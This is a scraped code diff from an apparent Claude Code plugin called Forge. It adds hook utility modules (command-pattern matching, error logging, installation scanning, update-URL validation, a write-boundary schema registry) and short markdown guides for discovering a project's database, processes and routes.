+
hookEventName,
|
|
111
|
+
...payload,
|
|
112
|
+
},
|
|
113
|
+
});
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
// ---------------------------------------------------------------------------
|
|
117
|
+
// H-1d: FORGE_COMMAND_PATTERNS
|
|
118
|
+
// ---------------------------------------------------------------------------
|
|
119
|
+
|
|
120
|
+
/**
|
|
121
|
+
* Canonical array of RegExp patterns that identify forge-related commands.
|
|
122
|
+
*
|
|
123
|
+
* @catalogSync forge/schemas/enum-catalog.json#commandNames (FORGE-S25-T26)
|
|
124
|
+
*
|
|
125
|
+
* Build-time drift detection: forge/tools/__tests__/build-enum-catalog.test.cjs
|
|
126
|
+
* verifies that every `forge:*` entry in enum-catalog.json commandNames has at
|
|
127
|
+
* least one matching regex here. Run `node --test forge/tools/__tests__/*.test.cjs`
|
|
128
|
+
* to check. Drift will cause the drift-detection test to fail.
|
|
129
|
+
*
|
|
130
|
+
* Runtime: this array is the single source of truth for forge command recognition.
|
|
131
|
+
* hooks/triage-error.cjs and hooks/forge-permissions.cjs maintain inline copies
|
|
132
|
+
* of subsets; those files cannot require() this module due to the forge-cli bundle
|
|
133
|
+
* gap (build-payload.cjs bundles hooks/*.cjs but excludes hooks/lib/).
|
|
134
|
+
*
|
|
135
|
+
* When adding a new forge command: update this array, the inline copies in
|
|
136
|
+
* triage-error.cjs and forge-permissions.cjs, AND build-enum-catalog.cjs COMMAND_NAMES.
|
|
137
|
+
*/
|
|
138
|
+
const FORGE_COMMAND_PATTERNS = [
|
|
139
|
+
/manage-config/,
|
|
140
|
+
/\.forge\//,
|
|
141
|
+
/CLAUDE_PLUGIN_ROOT/,
|
|
142
|
+
/FORGE_ROOT/,
|
|
143
|
+
/MANAGE_CONFIG/,
|
|
144
|
+
/engineering\/tools\//,
|
|
145
|
+
/forge:init/,
|
|
146
|
+
/forge:health/,
|
|
147
|
+
/forge:rebuild/,
|
|
148
|
+
/forge:update/,
|
|
149
|
+
/forge:add-pipeline/,
|
|
150
|
+
/forge:add-task/,
|
|
151
|
+
/forge:plan/,
|
|
152
|
+
/forge:implement/,
|
|
153
|
+
/forge:approve/,
|
|
154
|
+
/forge:commit/,
|
|
155
|
+
/forge:review/,
|
|
156
|
+
/forge:new-sprint/,
|
|
157
|
+
/forge:plan-sprint/,
|
|
158
|
+
/forge:run-task/,
|
|
159
|
+
/forge:run-sprint/,
|
|
160
|
+
/forge:fix-bug/,
|
|
161
|
+
/forge:retro/,
|
|
162
|
+
/forge:check-agent/,
|
|
163
|
+
/forge:report-bug/,
|
|
164
|
+
// forge:enhance removed in v1.0 (T03) — absorbed into forge:rebuild --enrich
|
|
165
|
+
// forge:collate removed from user-facing surface in v1.0 (T03) — internal tool only
|
|
166
|
+
/forge:validate/,
|
|
167
|
+
// forge:calibrate removed in v1.0 (T03) — absorbed into forge:health --fix (T04)
|
|
168
|
+
// forge:materialize removed in v1.0 (T03) — fast-mode eliminated in T01
|
|
169
|
+
/forge:remove/,
|
|
170
|
+
/forge:search/,
|
|
171
|
+
/forge:repair/,
|
|
172
|
+
/forge:store-custodian/,
|
|
173
|
+
/forge:config/,
|
|
174
|
+
/forge:ask/,
|
|
175
|
+
/forge:refresh-kb-links/,
|
|
176
|
+
/store-cli\.cjs/,
|
|
177
|
+
/validate-store\.cjs/,
|
|
178
|
+
];
|
|
179
|
+
|
|
180
|
+
// ---------------------------------------------------------------------------
|
|
181
|
+
// H-5b: logSwallowedError
|
|
182
|
+
// ---------------------------------------------------------------------------
|
|
183
|
+
|
|
184
|
+
/**
|
|
185
|
+
* Append a diagnostic line to the swallowed-error log at
|
|
186
|
+
* `$dataDir/logs/forge-hooks.log`. If `dataDir` is falsy, falls back to
|
|
187
|
+
* `os.tmpdir()/forge-plugin-data/logs/forge-hooks.log`.
|
|
188
|
+
*
|
|
189
|
+
* Format per line:
|
|
190
|
+
* <ISO-timestamp> [<tag>] <err.message>
|
|
191
|
+
*
|
|
192
|
+
* Invariants:
|
|
193
|
+
* - Append-only. No log rotation. Users can `truncate -s 0` or `rm` the
|
|
194
|
+
* file; it will be recreated on the next swallowed error.
|
|
195
|
+
* - Hook code NEVER reads this log.
|
|
196
|
+
* - Fully fail-open: if the log write itself fails, we exit silently.
|
|
197
|
+
*
|
|
198
|
+
* Closes finding: H-5b (FORGE-S25-T15)
|
|
199
|
+
*
|
|
200
|
+
* @param {string} tag - Short hook identifier (e.g. 'post-init', 'post-sprint').
|
|
201
|
+
* @param {Error|*} err - The caught error. Uses err.message if available.
|
|
202
|
+
* @param {string|null|undefined} dataDir - CLAUDE_PLUGIN_DATA directory.
|
|
203
|
+
*/
|
|
204
|
+
function logSwallowedError(tag, err, dataDir) {
|
|
205
|
+
try {
|
|
206
|
+
const baseDir = dataDir || path.join(os.tmpdir(), 'forge-plugin-data');
|
|
207
|
+
const logsDir = path.join(baseDir, 'logs');
|
|
208
|
+
fs.mkdirSync(logsDir, { recursive: true });
|
|
209
|
+
const logPath = path.join(logsDir, 'forge-hooks.log');
|
|
210
|
+
const msg = (err && err.message) ? err.message : String(err);
|
|
211
|
+
const line = `${new Date().toISOString()} [${tag}] ${msg}\n`;
|
|
212
|
+
fs.appendFileSync(logPath, line, 'utf8');
|
|
213
|
+
} catch (_) {
|
|
214
|
+
// Fully fail-open — never re-throw
|
|
215
|
+
}
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
// ---------------------------------------------------------------------------
|
|
219
|
+
// Exports
|
|
220
|
+
// ---------------------------------------------------------------------------
|
|
221
|
+
|
|
222
|
+
module.exports = {
|
|
223
|
+
resolveForgePaths,
|
|
224
|
+
readStdinJson,
|
|
225
|
+
formatHookOutput,
|
|
226
|
+
FORGE_COMMAND_PATTERNS,
|
|
227
|
+
logSwallowedError,
|
|
228
|
+
};
|
|
@@ -0,0 +1,106 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
// hooks/lib/plugin-detection.cjs — extracted from check-update.js (H-2a, FORGE-S25-T14)
|
|
3
|
+
//
|
|
4
|
+
// Provides Forge plugin distribution detection and installation scanning.
|
|
5
|
+
// Extracted to improve testability — each function can be imported and
|
|
6
|
+
// tested independently without requiring the full check-update module.
|
|
7
|
+
//
|
|
8
|
+
// Uses only Node.js built-ins — no npm dependencies required.
|
|
9
|
+
|
|
10
|
+
const fs = require('fs');
|
|
11
|
+
const path = require('path');
|
|
12
|
+
const os = require('os');
|
|
13
|
+
|
|
14
|
+
// Distribution detection — derived from plugin path at runtime.
|
|
15
|
+
// The cache path encodes the marketplace name, making this more reliable than
|
|
16
|
+
// reading fields from plugin.json (which may be stale after a switch).
|
|
17
|
+
function detectDistribution(root) {
|
|
18
|
+
return root.includes('/cache/skillforge/forge/') || root.includes('/marketplaces/skillforge/forge/')
|
|
19
|
+
? 'forge@skillforge' : 'forge@forge';
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
// Check if forge plugin is enabled in settings files.
|
|
23
|
+
// Returns true if no explicit disable found, false if disabled.
|
|
24
|
+
function isPluginEnabled(pluginPath, scope, homeDir, cwd) {
|
|
25
|
+
try {
|
|
26
|
+
// Check user settings: ~/.claude/settings.json
|
|
27
|
+
const userSettingsPath = path.join(homeDir, '.claude', 'settings.json');
|
|
28
|
+
if (fs.existsSync(userSettingsPath)) {
|
|
29
|
+
const userSettings = JSON.parse(fs.readFileSync(userSettingsPath, 'utf8'));
|
|
30
|
+
if (userSettings.disablePlugin === true) return false;
|
|
31
|
+
// Check for per-plugin disable (if supported in future)
|
|
32
|
+
if (userSettings.plugins && userSettings.plugins.forge === false) return false;
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Check project settings: ./.claude/settings.local.json
|
|
36
|
+
const projectSettingsPath = path.join(cwd, '.claude', 'settings.local.json');
|
|
37
|
+
if (fs.existsSync(projectSettingsPath)) {
|
|
38
|
+
const projectSettings = JSON.parse(fs.readFileSync(projectSettingsPath, 'utf8'));
|
|
39
|
+
if (projectSettings.disablePlugin === true) return false;
|
|
40
|
+
if (projectSettings.plugins && projectSettings.plugins.forge === false) return false;
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
return true; // Default: enabled
|
|
44
|
+
} catch (e) {
|
|
45
|
+
return true; // Non-fatal — assume enabled if cannot read settings
|
|
46
|
+
}
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
// Scans all known plugin locations to detect multiple Forge installations.
|
|
50
|
+
// Returns array of installation records with version, distribution, scope, enabled status.
|
|
51
|
+
// Optional parameters for dependency injection (testing).
|
|
52
|
+
function scanPluginInstallations(options) {
|
|
53
|
+
const installations = [];
|
|
54
|
+
const homeDir = (options && options.homeDir) || os.homedir();
|
|
55
|
+
const cwd = (options && options.cwd) || process.cwd();
|
|
56
|
+
|
|
57
|
+
// Candidate paths — user scope (global) and project scope (local)
|
|
58
|
+
// Also scan skillforge subdirectory variant (skillforge/forge/forge)
|
|
59
|
+
const basePaths = [
|
|
60
|
+
path.join(homeDir, '.claude', 'plugins'),
|
|
61
|
+
path.join(cwd, '.claude', 'plugins'),
|
|
62
|
+
];
|
|
63
|
+
const variants = ['cache', 'marketplaces'];
|
|
64
|
+
const pluginNames = ['forge/forge', 'skillforge/forge/forge'];
|
|
65
|
+
|
|
66
|
+
const candidates = [];
|
|
67
|
+
for (const basePath of basePaths) {
|
|
68
|
+
for (const variant of variants) {
|
|
69
|
+
for (const pluginName of pluginNames) {
|
|
70
|
+
candidates.push(path.join(basePath, variant, pluginName));
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
for (const candidate of candidates) {
|
|
76
|
+
try {
|
|
77
|
+
const pluginJsonPath = path.join(candidate, '.claude-plugin', 'plugin.json');
|
|
78
|
+
if (!fs.existsSync(pluginJsonPath)) continue;
|
|
79
|
+
|
|
80
|
+
const manifest = JSON.parse(fs.readFileSync(pluginJsonPath, 'utf8'));
|
|
81
|
+
// Determine scope: user-scope paths start with homeDir/.claude, project-scope start with cwd/.claude
|
|
82
|
+
// Use cwd-relative check first to avoid false positives when cwd is subdir of homeDir
|
|
83
|
+
const isProjectScope = candidate.startsWith(path.join(cwd, '.claude'));
|
|
84
|
+
const isUserScope = candidate.startsWith(path.join(homeDir, '.claude'));
|
|
85
|
+
const scope = isProjectScope ? 'project' : (isUserScope ? 'user' : 'unknown');
|
|
86
|
+
const enabled = isPluginEnabled(candidate, scope, homeDir, cwd);
|
|
87
|
+
|
|
88
|
+
// Avoid duplicates — skip if same path already recorded
|
|
89
|
+
if (installations.some(i => i.path === candidate)) continue;
|
|
90
|
+
|
|
91
|
+
installations.push({
|
|
92
|
+
path: candidate,
|
|
93
|
+
version: manifest.version || 'unknown',
|
|
94
|
+
distribution: detectDistribution(candidate),
|
|
95
|
+
scope: scope,
|
|
96
|
+
enabled: enabled,
|
|
97
|
+
});
|
|
98
|
+
} catch (e) {
|
|
99
|
+
// Non-fatal — skip broken installations silently
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
return installations;
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
module.exports = { detectDistribution, isPluginEnabled, scanPluginInstallations };
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
// hooks/lib/update-msg.cjs — extracted from check-update.js (H-2c, FORGE-S25-T14)
|
|
3
|
+
//
|
|
4
|
+
// Provides update message construction and emission.
|
|
5
|
+
// Extracted to improve testability — buildUpdateMsg and emit can be tested
|
|
6
|
+
// without executing the full check-update session logic.
|
|
7
|
+
//
|
|
8
|
+
// Uses only Node.js built-ins — no npm dependencies required.
|
|
9
|
+
|
|
10
|
+
function buildUpdateMsg(remoteVersion, local) {
|
|
11
|
+
return remoteVersion && remoteVersion !== local
|
|
12
|
+
? `Forge ${remoteVersion} available (you have ${local}). Run /forge:update to review changes and update.`
|
|
13
|
+
: '';
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
function emit(forgeCtx, updateMsg) {
|
|
17
|
+
if (!forgeCtx && !updateMsg) return;
|
|
18
|
+
const combined = [forgeCtx, updateMsg].filter(Boolean).join(' ');
|
|
19
|
+
const escaped = combined.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, ' ');
|
|
20
|
+
process.stdout.write(`{"additionalContext":"${escaped}"}\n`);
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
module.exports = { buildUpdateMsg, emit };
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
// hooks/lib/update-url.cjs — extracted from check-update.js (H-2b, FORGE-S25-T14)
|
|
3
|
+
//
|
|
4
|
+
// Provides update-check URL resolution and validation.
|
|
5
|
+
// Reads process.env.CLAUDE_PLUGIN_ROOT directly (option b from plan) so
|
|
6
|
+
// the module is self-contained — no pluginRoot argument needed at call sites.
|
|
7
|
+
//
|
|
8
|
+
// Uses only Node.js built-ins — no npm dependencies required.
|
|
9
|
+
|
|
10
|
+
const fs = require('fs');
|
|
11
|
+
const path = require('path');
|
|
12
|
+
|
|
13
|
+
// Determine the correct update-check URL for this distribution.
|
|
14
|
+
// Each distribution's plugin.json carries its own updateUrl pointing at the
|
|
15
|
+
// branch it was installed from (main for forge@forge, release for forge@skillforge),
|
|
16
|
+
// so we read it directly — no hardcoded per-distribution URLs needed.
|
|
17
|
+
const FALLBACK_UPDATE_URL = 'https://raw.githubusercontent.com/Entelligentsia/forge/main/forge/.claude-plugin/plugin.json';
|
|
18
|
+
|
|
19
|
+
const ALLOWED_DOMAINS = ['raw.githubusercontent.com'];
|
|
20
|
+
|
|
21
|
+
function validateUpdateUrl(url) {
|
|
22
|
+
try {
|
|
23
|
+
const parsed = new URL(url);
|
|
24
|
+
const hostname = parsed.hostname.toLowerCase();
|
|
25
|
+
if (!ALLOWED_DOMAINS.some(d => hostname === d || hostname.endsWith('.' + d))) {
|
|
26
|
+
process.stderr.write(`forge-update: rejected update URL with disallowed domain '${hostname}', falling back\n`);
|
|
27
|
+
return FALLBACK_UPDATE_URL;
|
|
28
|
+
}
|
|
29
|
+
return url;
|
|
30
|
+
} catch {
|
|
31
|
+
return FALLBACK_UPDATE_URL;
|
|
32
|
+
}
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Reads updateUrl from the installed plugin.json.
|
|
36
|
+
// Uses process.env.CLAUDE_PLUGIN_ROOT (option b) with a fallback of '' so
|
|
37
|
+
// the function is self-contained. Falls back to FALLBACK_UPDATE_URL on any error.
|
|
38
|
+
function getUpdateUrl() {
|
|
39
|
+
try {
|
|
40
|
+
const pluginRoot = process.env.CLAUDE_PLUGIN_ROOT || '';
|
|
41
|
+
const manifest = JSON.parse(fs.readFileSync(path.join(pluginRoot, '.claude-plugin', 'plugin.json'), 'utf8'));
|
|
42
|
+
return validateUpdateUrl(manifest.updateUrl || FALLBACK_UPDATE_URL);
|
|
43
|
+
} catch { return FALLBACK_UPDATE_URL; }
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
module.exports = { FALLBACK_UPDATE_URL, ALLOWED_DOMAINS, validateUpdateUrl, getUpdateUrl };
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
// Write-boundary registry: maps Forge-owned filesystem path patterns to the
|
|
4
|
+
// schema (and kind) that the write-boundary hook enforces on Write/Edit/
|
|
5
|
+
// MultiEdit. FIRST match wins, so order matters — place more specific
|
|
6
|
+
// patterns before their generalizations (sidecar before event).
|
|
7
|
+
//
|
|
8
|
+
// Patterns are anchored to absolute-path suffixes so they match whether the
|
|
9
|
+
// tool invocation used an absolute or project-relative path. Every pattern
|
|
10
|
+
// assumes the Forge store lives at `.forge/store/` (the installed default).
|
|
11
|
+
//
|
|
12
|
+
// If NO pattern matches a write, the hook is a no-op: Forge does not validate
|
|
13
|
+
// non-Forge-owned files. The registry is an allowlist of paths we claim, not
|
|
14
|
+
// a denylist of paths we reject.
|
|
15
|
+
|
|
16
|
+
const REGISTRY = [
|
|
17
|
+
// Core store entities — flat files under .forge/store/{kind}s/<id>.json
|
|
18
|
+
{ pattern: /(?:^|\/)\.forge\/store\/features\/[^/]+\.json$/, schema: 'feature.schema.json', kind: 'feature' },
|
|
19
|
+
{ pattern: /(?:^|\/)\.forge\/store\/sprints\/[^/]+\.json$/, schema: 'sprint.schema.json', kind: 'sprint' },
|
|
20
|
+
{ pattern: /(?:^|\/)\.forge\/store\/tasks\/[^/]+\.json$/, schema: 'task.schema.json', kind: 'task' },
|
|
21
|
+
{ pattern: /(?:^|\/)\.forge\/store\/bugs\/[^/]+\.json$/, schema: 'bug.schema.json', kind: 'bug' },
|
|
22
|
+
|
|
23
|
+
// Event sidecars — prefixed with `_` and suffixed with `_usage.json`.
|
|
24
|
+
// Must come BEFORE the general event pattern so the leading `_` file is
|
|
25
|
+
// classified as a sidecar, not an event with a malformed id.
|
|
26
|
+
{ pattern: /(?:^|\/)\.forge\/store\/events\/[^/]+\/_[^/]+_usage\.json$/, schema: 'event-sidecar.schema.json', kind: 'event-sidecar' },
|
|
27
|
+
|
|
28
|
+
// Canonical events — any other .json under events/<bucket>/ that does NOT
|
|
29
|
+
// start with an underscore. (Ghost events are not written through Write/Edit
|
|
30
|
+
// tools, so we don't special-case them here.)
|
|
31
|
+
{ pattern: /(?:^|\/)\.forge\/store\/events\/[^/]+\/[^_/][^/]*\.json$/, schema: 'event.schema.json', kind: 'event' },
|
|
32
|
+
|
|
33
|
+
// Collation watermark
|
|
34
|
+
{ pattern: /(?:^|\/)\.forge\/store\/COLLATION_STATE\.json$/, schema: 'collation-state.schema.json', kind: 'collation-state' },
|
|
35
|
+
|
|
36
|
+
// Progress log — line-oriented, not JSON. The hook's parser splits newly
|
|
37
|
+
// appended lines and validates each as a pipe-delimited progress entry.
|
|
38
|
+
{ pattern: /(?:^|\/)\.forge\/store\/events\/[^/]+\/progress\.log$/, schema: 'progress-entry.schema.json', kind: 'progress-line', format: 'line-pipe-delimited' },
|
|
39
|
+
];
|
|
40
|
+
|
|
41
|
+
function matchRegistry(absPath) {
|
|
42
|
+
if (!absPath || typeof absPath !== 'string') return null;
|
|
43
|
+
for (const entry of REGISTRY) {
|
|
44
|
+
if (entry.pattern.test(absPath)) return entry;
|
|
45
|
+
}
|
|
46
|
+
return null;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
// REGISTRY is intentionally not exported — it is a private implementation detail
|
|
50
|
+
// of this module. Callers use matchRegistry() for lookups. Exporting REGISTRY
|
|
51
|
+
// would expose internal pattern structures to external consumers and create
|
|
52
|
+
// coupling that makes future pattern changes harder. (H-3, FORGE-S25-T14)
|
|
53
|
+
module.exports = { matchRegistry };
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
# Discovery: Database
|
|
2
|
+
|
|
3
|
+
## Purpose
|
|
4
|
+
|
|
5
|
+
Detect the project's data model: entities, relationships, field types,
|
|
6
|
+
and migration patterns.
|
|
7
|
+
|
|
8
|
+
## Scan Targets
|
|
9
|
+
|
|
10
|
+
| Pattern | What It Reveals |
|
|
11
|
+
|---------|----------------|
|
|
12
|
+
| Django: `models.py` files | ORM models, fields, relationships |
|
|
13
|
+
| Rails: `app/models/*.rb` | ActiveRecord models |
|
|
14
|
+
| Prisma: `schema.prisma` | Prisma schema |
|
|
15
|
+
| TypeORM: `*.entity.ts` | TypeORM entities |
|
|
16
|
+
| Sequelize: `models/*.js` | Sequelize models |
|
|
17
|
+
| Go: `*_model.go` | Go struct definitions |
|
|
18
|
+
| SQL: `migrations/` / `schema.sql` | Raw schema |
|
|
19
|
+
| MongoDB: Mongoose schemas | Document models |
|
|
20
|
+
|
|
21
|
+
## Tools
|
|
22
|
+
|
|
23
|
+
Use Grep to find model/entity definitions, Read to parse them.
|
|
24
|
+
|
|
25
|
+
## Output
|
|
26
|
+
|
|
27
|
+
Structured report:
|
|
28
|
+
- Entity inventory (name, field count, key relationships)
|
|
29
|
+
- Database type (PostgreSQL, MySQL, MongoDB, SQLite, etc.)
|
|
30
|
+
- ORM/query layer in use
|
|
31
|
+
- Migration framework and directory
|
|
32
|
+
- Seed data presence
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
# Discovery: Processes
|
|
2
|
+
|
|
3
|
+
## Purpose
|
|
4
|
+
|
|
5
|
+
Detect the project's service topology, build tools, and deployment configuration.
|
|
6
|
+
|
|
7
|
+
## Scan Targets
|
|
8
|
+
|
|
9
|
+
| File | What It Reveals |
|
|
10
|
+
|------|----------------|
|
|
11
|
+
| `docker-compose.yml` | Service topology, dependencies, ports |
|
|
12
|
+
| `Procfile` | Process types (web, worker, etc.) |
|
|
13
|
+
| `ecosystem.config.js` | PM2 process management |
|
|
14
|
+
| `systemd/*.service` | System service definitions |
|
|
15
|
+
| `.github/workflows/*.yml` | CI/CD pipeline |
|
|
16
|
+
| `.gitlab-ci.yml` | CI/CD pipeline |
|
|
17
|
+
| `Jenkinsfile` | CI/CD pipeline |
|
|
18
|
+
| `vercel.json` / `netlify.toml` | Deployment platform |
|
|
19
|
+
|
|
20
|
+
## Tools
|
|
21
|
+
|
|
22
|
+
Use Glob to find these files, Read to parse them.
|
|
23
|
+
|
|
24
|
+
## Output
|
|
25
|
+
|
|
26
|
+
Structured report:
|
|
27
|
+
- Services and their roles (web, worker, database, cache, etc.)
|
|
28
|
+
- Build command(s)
|
|
29
|
+
- Deploy command(s) or platform
|
|
30
|
+
- CI/CD pipeline structure
|
|
31
|
+
- Environment variables referenced (names only, not values)
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
# Discovery: Routing
|
|
2
|
+
|
|
3
|
+
## Purpose
|
|
4
|
+
|
|
5
|
+
Detect the project's API surface, authentication strategy, and middleware.
|
|
6
|
+
|
|
7
|
+
## Scan Targets
|
|
8
|
+
|
|
9
|
+
| Pattern | What It Reveals |
|
|
10
|
+
|---------|----------------|
|
|
11
|
+
| Django: `urls.py`, `views.py` | URL patterns, view functions/classes |
|
|
12
|
+
| Express: `router.get/post/...` | Route definitions |
|
|
13
|
+
| Rails: `routes.rb` | Route definitions |
|
|
14
|
+
| FastAPI: `@app.get/post` | Endpoint decorators |
|
|
15
|
+
| Go: `http.HandleFunc` / mux | Route handlers |
|
|
16
|
+
| Auth decorators/middleware | `@login_required`, `authenticate`, `IsAuthenticated` |
|
|
17
|
+
| API docs: `openapi.yaml` / `swagger.json` | API specification |
|
|
18
|
+
|
|
19
|
+
## Tools
|
|
20
|
+
|
|
21
|
+
Use Grep to find route definitions and auth patterns, Read to parse them.
|
|
22
|
+
|
|
23
|
+
## Output
|
|
24
|
+
|
|
25
|
+
Structured report:
|
|
26
|
+
- Route count (approximate)
|
|
27
|
+
- Auth strategy (decorator-based, middleware, JWT, session, etc.)
|
|
28
|
+
- Public vs protected route ratio
|
|
29
|
+
- URL namespace structure
|
|
30
|
+
- API versioning (if any)
|
|
31
|
+
- Middleware chain
|